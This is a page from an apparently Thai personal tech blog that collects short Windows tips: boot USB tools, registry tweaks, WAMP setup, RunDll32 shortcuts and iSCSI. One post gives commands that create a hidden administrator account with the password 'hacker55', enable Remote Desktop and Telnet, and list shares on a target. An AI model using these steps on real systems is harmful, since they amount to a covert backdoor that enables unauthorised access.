Showing posts with label Windows. Show all posts
Showing posts with label Windows. Show all posts

9 December 2016

How To connect the Terminal Server despite the limited connections


กรณีที่เจอ Message Box บน M$ Server

"The terminal server has exceeded the maximum number of allowed connections"



เปิด CMD ขึ้นมาครับ แล้วจัดคำสั่ง

mstsc /v:IP-Address-Server /admin




.............................

3 May 2016

การติดตั้ง Linux หรือ Windows 10, 8.1, 7 ผ่าน USB Flash Drive ด้วย LinuxLive USB Creator

     LinuxLive USB Creator เป็นโปรแกรมที่ทำให้ USB Drive เป็นตัว Boot สำหรับ ติดตั้ง OS ต่างๆ ไม่ว่าจะเป็น Windows 10, 20 ,30 ถ้ามี และพวก Linux Ubuntu CentOS หรือบลา บลาๆ ตามนั้น

#ส่วนตัวเลิกติดตั้ง OS ผ่าน CD/DVD หรือ Foppy disk ไปนานแล้ว ถ้าไม่จำเป็นจริงๆ

ขั้นแรกไป Download Program  LinuxLive USB Creator มาก่อนครับ

http://www.linuxliveusb.com/en/download



2 May 2016

การติดตั้ง Microsoft Windows 7/8/8.1/10 ผ่าน USB Flash Drive หรือ DVD ด้วย Windows USB/DVD Download Tool



0. ให้ทำการ Download  Windows USB DVD Download Tool

1. Double Click เพื่อทำการติดตั้ง Windows USB DVD Download Tool  


2. เลือก Next 


27 April 2016

Enable Private browsing Mode in Browsers.


                การเปิด Private mode ของเว็บ Browser ต่างๆ
ซึ่ง Private mode มันดียังไง?  เนื่องมาจากใช้งานเว็บ Browser โดยทั่วไปแล้ว จะมีการจดจำค่าต่างๆ ที่ผู้ใช้งานได้ Activity ต่างๆ บนตัว Browser ไม่ว่าจะเป็น การจำ History (ประวัติการเข้าชมเว็บไซต์), การเก็บ Session cookie , cache การใช้งานต่างๆ เพื่อความสะดวกสำหรับผู้ใช้ แต่มันเป็นเหมือนดาบสองคม ถ้าเราไม่รู้จักบริหารจัดการข้อมูลที่เราใช้งาน ซึ่งข้อมูลต่างๆ เหล่านี้จะสามารถนำไปใช้ประโยชน์หรือให้โทษ อื่นๆ อีกมากมาย ถ้าผู้อื่นได้รู้พฤติกรรมการใช้งานของเรา คุณคิดดูว่าจะเกิดอะไรขึ้นบ้างถ้าคนเหล่านั้นคิดไม่ดีกับเรานะครับ   ทางผู้ผลิต Browser จึงได้ ทำ Private Mode ติดมากับ Browser เพื่อให้เราสามารถกำจัดข้อมูลในส่วนนี้ได้สะดวกขึ้น

                Private Mode เป็นส่วนหนึ่งในการช่วยป้องกันข้อมูลในเบื้องต้นเท่านั้น ไม่ใช่ทั้งหมดนะครับ

เริ่มจาก Internet Explores (IE)  เข้าไป Safety > InPrivate Browsing หรือกด Ctrl+Shift+P
 

Google Chrome ให้เข้าเมนู เลือก หน้าต่างใหม่และไม่ระบุตัวตน (Ctrl+Shift+N)

How to Create a Hotspot (Wi-Fi) Using the Command Prompt on Windows 7.


เราจะมาสร้าง Hotspot (Wi-Fi) บนเครื่อง Notebook หรือ PC Desktop แบบง่ายๆ ดูภาพ Diagram ในการทดสอบกันก่อน


เริ่มเลยครับ
Step 1 ตรวจสอบ Devices ว่าสามารถสร้าง Hotspot (Wi-Fi) ได้ครับ โดยใช้ Command Line ดังนี้ครับ
            Start > พิมพ์ในช่อง Search "cmd"  แล้วเลือก cmd.exe แล้ว คลิกขวา เลือก Run as administrator ดังภาพ


27 May 2015

เอาพื้นที่ System Reserved คืนมาจากการติดตั้ง Windows

System Reserved ถ้าไม่คิดว่าจะได้ใช้ เอาพื้นที่มาใช้ดีก่าครับ Windows พังก็ลงใหม่แค่นั้น

วิธีการไม่เอา System Reserved ตอนติดตั้ง Windows  (เน้นคลิกและอธิบายตามภาพนะครับ)




24 December 2012

Howto Share file though HTTPServer with Python

Howto Share file though HTTPServer with Python 
          อยาก Sharefile ให้เพื่อนๆ แต่ขี้เกียจ เปิดShared ต่างๆๆ ยากเย็น พอดีในเครื่องมี Python 2.7 พอดี งั้นจัดไป : 

1. ให้ไปที่ Directory ที่คุณต้องการที่จะ Shared 
2. Like follow command : " python -m SimpleHTTPServer 12345 "


เกรียนก็สร้างโลกได้!!!!

Good luck.

21 December 2012

How to customize command prompt windows 7

How to customize command prompt windows 7
     
        เคยเจอปัญหาอย่างภาพนี้ไหม


          เกิดความรำคาญมากมาย แทบจะไม่มีพื้นที่ให้ทำงานเลย เพราะว่ามันมัวแต่แสดง path ของ Directory ที่คุณเข้าไป งั้น เรามาดูภาพต่อไป




         ถ้าเป็นแบบนี้ จะสะดวกกว่า นะ เวลาทำงานไม่ต้องมี การแสดง ชื่อ path มาให้ เบื่อลูกกะตา!!!

ให้คุณใช้ Tools ที่ชื่อว่า prompt ได้เลย ครับ ลองพิมพ์ตามนี้ครับ

               C:\Windows> prompt $N">>

$N คือ Partition
คุณจะได้ดังภาพข้างบนเด้อ แต่ถ้าต้องการ ให้มีการแสดงผลอย่างนี้ทุกครั้งที่มีการ เรียก command prompt ก็ให้ Define ไว้ที่ Enviroment Variable ของ system เด้อครับ

     Create a new environment variable called PROMPT. Set the variable value to the desired prompt.
      Press win+R ,then type "sysdm.cpl". Open Tabs "Advanced" Like Following :



หวังว่าจะนำไปต่อยอดได้ นะครับ คุณลอง C:\Windows> prompt /?
หมายเหตุ ถ้าต้องการให้เป็นเหมือนเดินก็แค่พิมพ์ prompt แล้ว Enter ครับ (restoring by default)


Good luck strumjub. jub



13 June 2012

key-shortcut Task manager on windows

บ่อยครั้งที่เราต้อง kill process ใน windows เพื่อความรวดเร็ว เราต้องใช้ คียร์ลัด โดยกดปุ่ม

Ctrl+Shift+ESC

เย้.......!!!!

5 April 2012

default and not default information login win 7

ในหน้า login ของ windows 7 โดยปกติแล้ว จะเป็นดังรูปครับ

หน้า login ที่เป็น default win 7
โดย Script ข้างล่างนี้จะเป็นค่า Default 


Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"DontDisplayLockedUserId"=-

กรณีที่ต้องการความเป็นส่วนตัว ไม่อยากให้ใครที่เดินผ่านหน้าคอมพิวเตอร์เรา เห็น Username ในเครื่องเราว่าเป็นอะไร ในหัวข้อนี้จะเรียกว่าเพิ่มความ Security ในกับเครื่องเรา  เพื่อให้เวลาในการ Login ควรจะบังคับให้ใส่ ทั้ง Username และ Password ด้วย!!!  ดังรูป

เมื่อทำการทำการ Set ให้มีความ Security 
จาก Script ข้างล่าง

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"DontDisplayLockedUserId"=dword:00000003

คุณสามารถนำ Script เหล่านี้ไป วางใน Notepad แล้วทำการ Save เป็น นามสกุลไฟล์ .reg แล้ว Run ได้นะครับ

หวังว่าจะเป็นประโยชน์บ้างไม่มากก็น้อยครับ....................

16 January 2012

how to config WAMPSever Win 7

เมื่อทำการ ติดตั้ง WAMPServer เสร็จ ก็ต้องมีการ configuration กันบ้างโดย

1. เข้าไปที่ localhost หรือ 127.0.0.1 ให้ไปที่ phpmyadmin ไปสร้าง User ใหม่ขึ้นมา เพราะว่า user ที่สร้างมานั้นไม่มี password เลย จากนั้นไป ที่  C:\wamp\apps\phpmyadmin3.4.5\config.inc.php (path นี้แล้วแต่เราติดตั้งนะครับ)
ไปแก้ที่

$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'test'; //Username ที่ทำการสร้างใหม่
$cfg['Servers'][$i]['password'] = '1245'; //รหัสผ่านของ User
$cfg['Servers'][$i]['AllowNoPassword'] = true;




2. ไปทำการ เปิด Module Rewrite ของ apache โดยไปที่  C:\wamp\bin\apache\Apache2.2.21\conf\httpd.conf ทำการแก้ไขไฟล์ คือ ลบ # ที่ออยู่ด้านหน้า ดังนี้

#LoadModule proxy_connect_module modules/mod_proxy_connect.so
#LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
#LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule setenvif_module modules/mod_setenvif.so
#LoadModule speling_module modules/mod_speling.so
#LoadModule ssl_module modules/mod_ssl.so

6 December 2011

แก้ไวรัส shurtcut จงหายไปเถอะ!!

เหตุการณ์ต่อ :::::>> รุ่นพี่ เอา HDD มาให้ บอกโดนไวรัส แก้ไวรัส shurtcut ให้หน่อย เปิดมา ก็ไม่เห็นอะไร เลยสาด!! เปิด hidden ที่ Folder Option แล้วก็ไม่เจอ 5555+

ทางสุดท้ายก็คือ เปิด cmd ขึ้นมา ไปที่ HDD รุ่นพี่ แล้วพิมพ์  dir /ah   ปั๊บ........ 555+ เจอจนได้

ได้เขียน .bat ขึ้นมาเพื่อแก้ Attribute Folder ดังนี้


@echo off
set target=H:\ (drive รุ่นพี่ผม)
for /F "tokens=*" %%* in ('dir /b /ad "%Target%"') do attrib -h -r -s "%target%%%*"

แล้ว Save เป็น .bat แล้ว Run ก็จบแล้วครับ สำบายดีพี่น้อง ชาว IT อิอิ ^^........^^

29 September 2011

Explorer Disappeared from the world.

จะทำอย่างไร เมื่อ Explorer หายไปจาก windows แล้วไงล่ะ ก็คง ต้องกด คีย์อมตะ Ctrl+Alt+Delete ก็จะได้ 
Windows Task Manager ขึ้นมาสำบายดีจ้าจุฟๆๆ เลย จากนั้นก็ ไปที่ File---->RUN พิมพ์ C:\Windows\explorer.exe แล้ว Enter เบาๆ ก็จะได้ กลับมาแหละ 


แต่ถ้ามันหายไปจากโลกแล้วทำอย่างไร ตอบแบบผู้เกรียนๆ ก็ลง windows ใหม่ไง จบ อืม.......นะ ถ้าจะเอาอย่างนั้นก็ OK!!! แต่เมื่อจำเป็นเราก็ควรมีวิชามารกันบ้าง รู้ไว้ใช่ว่า เผื่อเกรียนถาม นะครับ 


Command Line เถอะ วัยรุ่น!!!!!!   หรือจะทำเป็น shortcuts ก็ได้ เด้อครับ 




Wireless Networks pop-up
rundll32.exe van.dll,RunVAN



Advanced Restore
sdclt.exe /restorewizardadmin



Restore Files
sdclt.exe /restorewizard



Backup Location & Settings
sdclt.exe /configure



Add Network Location (wizard)
rundll32.exe shwebsvc.dll,AddNetPlaceRunDll



Indexing Options
control.exe srchadmin.dll



Notification Cache
rundll32.exe shell32.dll,Options_RunDLL 5



Aero (Transparency) Off
Rundll32.exe DwmApi #104



Aero (Transparency) On
Rundll32.exe DwmApi #102



Welcome Center
rundll32.exe oobefldr.dll,ShowWelcomeCenter



Add/Remove Programs
RunDll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,0



Content Advisor
RunDll32.exe msrating.dll,RatingSetupUI



Control Panel
RunDll32.exe shell32.dll,Control_RunDLL



Date and Time Properties
RunDll32.exe shell32.dll,Control_RunDLL timedate.cpl



Display Settings
RunDll32.exe shell32.dll,Control_RunDLL access.cpl,,3



Device Manager
RunDll32.exe devmgr.dll DeviceManager_Execute



Folder Options – File Types
RunDll32.exe shell32.dll,Control_Options 2



Folder Options – General
RunDll32.exe shell32.dll,Options_RunDLL 0



Folder Options – Search
RunDll32.exe shell32.dll,Options_RunDLL 2



Folder Options – View
RunDll32.exe shell32.dll,Options_RunDLL 7



Forgotten Password Wizard
RunDll32.exe keymgr.dll,PRShowSaveWizardExW



Hibernate
RunDll32.exe powrprof.dll,SetSuspendState



Keyboard Properties
RunDll32.exe shell32.dll,Control_RunDLL main.cpl @1



Lock Screen
RunDll32.exe user32.dll,LockWorkStation



Mouse Properties
RunDll32.exe shell32.dll,Control_RunDLL main.cpl @0



Map Network Drive
RunDll32.exe shell32.dll,SHHelpShortcuts_RunDLL Connect



Network Connections
RunDll32.exe shell32.dll,Control_RunDLL ncpa.cpl



Power Options
RunDll32.exe Shell32.dll,Control_RunDLL powercfg.cpl



Regional Settings
RunDll32.exe shell32.dll,Control_RunDLL intl.cpl,,3



Stored Usernames and Passwords
RunDll32.exe keymgr.dll,KRShowKeyMgr



System Properties: Advanced
RunDll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,4



System Properties: Automatic Updates
RunDll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,5



Taskbar Properties
RunDll32.exe shell32.dll,Options_RunDLL 1



User Accounts
RunDll32.exe shell32.dll,Control_RunDLL nusrmgr.cpl



Windows Security Center
RunDll32.exe shell32.dll,Control_RunDLL wscui.cpl



Windows – About
RunDll32.exe SHELL32.DLL,ShellAboutW



Unplug/Eject Hardware
RunDll32.exe shell32.dll,Control_RunDLL hotplug.dll



Windows Firewall
RunDll32.exe shell32.dll,Control_RunDLL firewall.cpl



Wireless Network Setup
RunDll32.exe shell32.dll,Control_RunDLL NetSetup.cpl,@0,WNSW



Open Control Panel (All Items)
explorer.exe shell:::{21ec2020-3aea-1069-a2dd-08002b30309d}



Manage Wireless Networks
explorer.exe shell:::{1fa9085f-25a2-489b-85d4-86326eedcd87}



Sound Control Playback Tab
rundll32.exe shell32.dll,Control_RunDLLmmsys.cpl



Sound Control Sounds Tab
rundll32.exe shell32.dll,Control_RunDLLmmsys.cpl,,2



Sound Control Recording Tab
rundll32.exe shell32.dll,Control_RunDLLmmsys.cpl,,1



Add/Remove Programs
rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl



Add/Remove Windows Components
rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2



Set Program Access and Computer Defaults
rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3



People Near Me
rundll32.exe shell32.dll,Control_RunDLL collab.cpl



People Near Me Sign In Tab
rundll32.exe shell32.dll,Control_RunDLL collab.cpl,,1



Screen Resolution
rundll32.exe shell32.dll,Control_RunDLL desk.cpl



Personalization
rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2



Screen Saver
rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1



Windows Firewall
rundll32.exe shell32.dll,Control_RunDLL firewall.cpl



Device Manager
rundll32.exe shell32.dll,Control_RunDLL hdwwiz.cpl



Power Options
rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl



Power Options Change Plan Settings
rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl,,1



System Properties
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl



System Properties Hardware Tab
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2



System Properties Advanced Tab
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3



System Properties System Protection Tab
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,4



System Properties Remote Tab
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,5



Pen and Touch Tablet PC Settings
rundll32.exe shell32.dll,Control_RunDLL tabletpc.cpl



Pen and Touch Tablet PC Settings Flicks Tab
rundll32.exe shell32.dll,Control_RunDLL tabletpc.cpl,,1



Pen and Touch Tablet PC Settings Handwriting Tab
rundll32.exe shell32.dll,Control_RunDLL tabletpc.cpl,,2



Phone and Modem Options
rundll32.exe shell32.dll,Control_RunDLL telephon.cpl



Phone and Modem Options Modems Tab
rundll32.exe shell32.dll,Control_RunDLL telephon.cpl,,1



Phone and Modems Options Advanced Tab
rundll32.exe shell32.dll,Control_RunDLL telephon.cpl,,2



Date and Time
rundll32.exe shell32.dll,Control_RunDLL timedate.cpl



Date and Time Additional Clocks
rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1


Action Center
rundll32.exe shell32.dll,Control_RunDLL wscui.cpl



Unplug/Eject Hardware
RunDll32.exe shell32.dll,Control_RunDLL hotplug.dll


Internet Explorer Specific Commands



Delete Temporary Internet Files:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8



Delete Cookies:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2



Delete History:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1



Delete Form Data:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 16



Delete Passwords:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 32



Delete All:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255



Delete All + files and settings stored by Add-ons:
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351

Miscellaneous Variables

Windows Directory
%WINDIR%
%SYSTEMROOT%



Hard Drive That Contains OS
%HOMEDRIVE%



Users Home Directory
%HOMEPATH%
%USERPROFILE%



Default Temporary Directory
%TEMP%
%TMP%



Program Files
%PROGRAMFILES%



Current Users Application Data Directory
%APPDATA%



อ้างอิงจาก http://www.osattack.com/


แล้วเมื่อไร ที่เราต้องการดู drive all ในเครื่อง ใช้คำสั่ง    wmic logicaldisk  get  name , volumename


ถ้าต้องการเปิด ไปที่ patch ต่างๆ โดยใช้ explorer.exe ตามด้วย argument นะ เช่น


explorer.exe shell:Personal



Windows 7 Only
shell:Libraries
shell:MusicLibrary
shell:VideosLibrary
shell:OtherUsersFolder
shell:Device Metadata Store
shell:PublicSuggestedLocations
shell:DocumentsLibrary
shell:User Pinned
shell:UsersLibrariesFolder
shell:PicturesLibrary
shell:ImplicitAppShortcuts
shell:Ringtones
shell:CommonRingtones

Windows Vista & 7
shell:Common Programs
shell:GameTasks
shell:UserProfiles
shell:MyComputerFolder
shell:SyncSetupFolder
shell:DpapiKeys
shell:SamplePlaylists
shell:Favorites
shell:My Video
shell:SearchHomeFolder
shell:System
shell:CommonVideo
shell:SyncResultsFolder
shell:LocalizedResourcesDir
shell:Cookies
shell:Original Images
shell:CommonMusic
shell:My Pictures
shell:Cache
shell:Downloads
shell:CommonDownloads
shell:AppData
shell:SyncCenterFolder
shell:My Music
shell:ConflictFolder
shell:SavedGames
shell:InternetFolder
shell:Quick Launch
shell:SystemCertificates
shell:Contacts
shell:TreePropertiesFolder
shell:Profile
shell:Start Menu
shell:Common AppData
shell:PhotoAlbums
shell:ConnectionsFolder
shell:Administrative Tools
shell:PrintersFolder
shell:Default Gadgets
shell:ProgramFilesX86
shell:Searches
shell:Common Startup
shell:ControlPanelFolder
shell:SampleVideos
shell:SendTo
shell:ResourceDir
shell:ProgramFiles
shell:CredentialManager
shell:PrintHood
shell:MAPIFolder
shell:CD Burning
shell:AppUpdatesFolder
shell:Common Start Menu
shell:LocalAppDataLow
shell:Templates
shell:Gadgets
shell:Programs
shell:Recent
shell:SampleMusic
shell:Desktop
shell:CommonPictures
shell:RecycleBinFolder
shell:CryptoKeys
shell:Common Templates
shell:Startup
shell:Links
shell:OEM Links
shell:SamplePictures
shell:Common Desktop
shell:NetHood
shell:Games
shell:Common Administrative Tools
shell:NetworkPlacesFolder
shell:SystemX86
shell:History
shell:AddNewProgramsFolder
shell:Playlists
shell:ProgramFilesCommonX86
shell:PublicGameTasks
shell:ChangeRemoveProgramsFolder
shell:Public
shell:Common Documents
shell:CSCFolder
shell:Local AppData
shell:Windows
shell:UsersFilesFolder
shell:ProgramFilesCommon
shell:Fonts
shell:Personal



ถ้าต้องการ เปิด ไดร์ต่าง ก็ใช้คำสั่ง ตามด้วย ไดร์ที่ต้องการจะเปิด


explorer.exe C:  //กรณีต้องการเปิด ไดร์ C

6 July 2011

Command Dos Windows Total jub

เนื่องจากกลัว ลืมแหละ อยากเขียนไว้เป็น กุดสะโลบาย ด้วยเลย note ไว้ครับ อิอิ
-------------------------------------------------------------------------------------------------------------
การเพิ่ม User (Username และ password)


reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v greanjub /t REG_DWORD /d 0 /f
net user greanjub hacker55 /add
net localgroup Administrators greanjub /add


หมายเรียก : greanjub  คือชื่อ Username ที่เพิ่ม , hacker55 เป็น password ที่ใช้ , REG_DWORD /d 0 เป็น การซ่อน User ไม่ใช้แสดงออกมาบนหน้าจอ เด้อครับ อิอิ
-------------------------------------------------------------------------------------------------------------

การ Set Enable บัญชี Administrator

net user administrator /active:yes

-------------------------------------------------------------------------------------------------------------

การ Enable Remote Desktop

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

-------------------------------------------------------------------------------------------------------------

Show list file shared on windows

net view \\ip-target\
-------------------------------------------------------------------------------------------------------------
การเปิด Telnet


sc config tlntsvr start= auto
netsh firewall set allowedprogram %windir%\system32\tlntsvr.exe iexplorer enable
sc start tlntsvr

-------------------------------------------------------------------------------------------------------------
ปิดการ tools scanning lan ขั้นแรก ง่าย

net config server /hidden:yes

-------------------------------------------------------------------------------------------------------------
test Route  (ปัจจุบัน จะใช้ tools ช่วยมากกว่า)

tracert ip-target

-------------------------------------------------------------------------------------------------------------
เปิด - ปิด Service  program

net start/stop  ตามด้วยชื่อ Service

-------------------------------------------------------------------------------------------------------------

Create usb boot install win7 and Linux

ถ้าพูดถึง เรื่องของการ Install OS ใหม่ ให้เครื่อง คอมพิวเตอร์เรา คนส่วนใหญ่ มักใช้แผ่นกันนะครับ
ผมก็ไม่เข้าใจเหมือนกัน สงสัยเป็น เพราะเค้าขายแผ่นกัน ละมั่งครับ ก็ไม่ขาย thumb drive install OS กัน น้อ 555+ ขำๆ นะครับ อย่างไปเครียดมาก

วันนี้เลยอยากเขียนไว้กันตัวเธอลืม เหมือนกัน นะ ....... จากที่ผมได้ถามเทพ google มานะครับ มีโปรแกรมง่ายๆ ที่จะทำให้ thumb drive ของเราๆ ท่านเป็นตัว Boot install OS ได้เนี้ย ไม่ว่าจะเป็น Linux หรือ Windows ก็ตามนะครับ โดยติดตั้งที่ Windows เด้อครับ
ทำ usb Boot Windows คือ Windows 7 USB DVD Download Tool ( XP,Vista, 7) ^^

ทำ usb Boot Linux คือ LiLi USB Creator (ต้องดู Linux Distro ที่ Support ด้วยนะครับ)

จากตอนนี้ที่ใช้อยู่ก็ใช้ได้ดีเลยครับ ผมใช้ Win7 64bit ครับ สบายเลย......^^

16 May 2011

How to Windows 7 iSCSI initiator Connect to Openfiler v2.3



วันนี้ ลองเปลี่ยน Look ใหม่ มาเขียนทางฝั่ง Windows บ้างนะครับ ^^

กรณีศึกษา
             1. ลง Openfiler 2.3 ไว้ใน VMware IP: 192.168.146.133 (Target) เป็น NATกับเครื่อง host
             2. ใช้ Windows 7 เป็นตัว Connect initiator (กรณีของ XP ต้องโหลดมาติดตั้งเองครับ)

หน้าตาของ Openfiler 2.3 นะครับ 





ก่อนอื่นเลยนะครับ ไปที่ Administrative Tools แล้วคลิกที่ iSCSI Initiator


จากนั้นก็จะเห็นหน้าตา อันหล่อๆๆ ของ  iSCSI Initiator Properties   (บ้างกรณีจะ Wizard ขึ้นมาให้ เรา Connect นะครับ)
               
                ถึงตรงนี้ ให้ตั้งค่า  Target :  (IP ของเครื่องที่เป็น Server Openfiler Target ครับ)
                จากนั้นให้ คลิก! ที่ Quick Connect…\





จะปรากฏหน้าต่าง ดังนี้ ให้เราทำการเลือกแล้ว Connect ตามใจฉันได้เลยครับ!!


จากข้างบน ถ้าเรากด Done ก็ได้ครับ มา Connect ตรงนี้ก็ได้ กรณีนี้ขอเลือก  Connect ที่ iqn.2006-01.com.openfiler:sandisk3 แล้วกันครับ จากนั้นกด Connect ครับ

ลองไปดูผลลัพธ์ที่  Computer Management ครับ ซึ่งเราจะเห็น ว่าได้มี disk3 เพิ่มเข้ามา 



เท่านี้แหละครับ คุณจะจัดการยังไงก็สุดแล้วแต่ใจจะปรารถนาเลยครับ   หวังว่าจะเป็นพื้นฐานในการพัฒนาต่อไปครับ ^^
                



20 March 2011

การเข้าถึงไฟล์ของลีนุกซ์ จากวินโดว์ (Access file linux for windows)

เนื่องจากสาเหตุความ ที่ผมทำ Multi boot (เอาหลายๆ OS มารวมกันไว้ในเครื่องเดียว) ;-)

วันหนึ่ง File งานผมอยู่ใน Linux แต่ดันเข้าไปใน win7 ซะงั้น  เนื่องจากความขี้เกียจ Reboot ใหม่
ก็เลย ลองหา ใน ท่านพี่ผม พี่กรู (Google).... คนนี้เค้ารู้ทุกเรื่อง.....

ก็เลยไปเจอ โปรแกรม ที่เข้าไปดู File ของ Linux และสามารถ Save มาใช้ได้

ชื่อ   ext2explore 2.2.71

http://www.softpedia.com/get/System/File-Management/ext2explore.shtml



สบายๆๆๆๆ.....!!!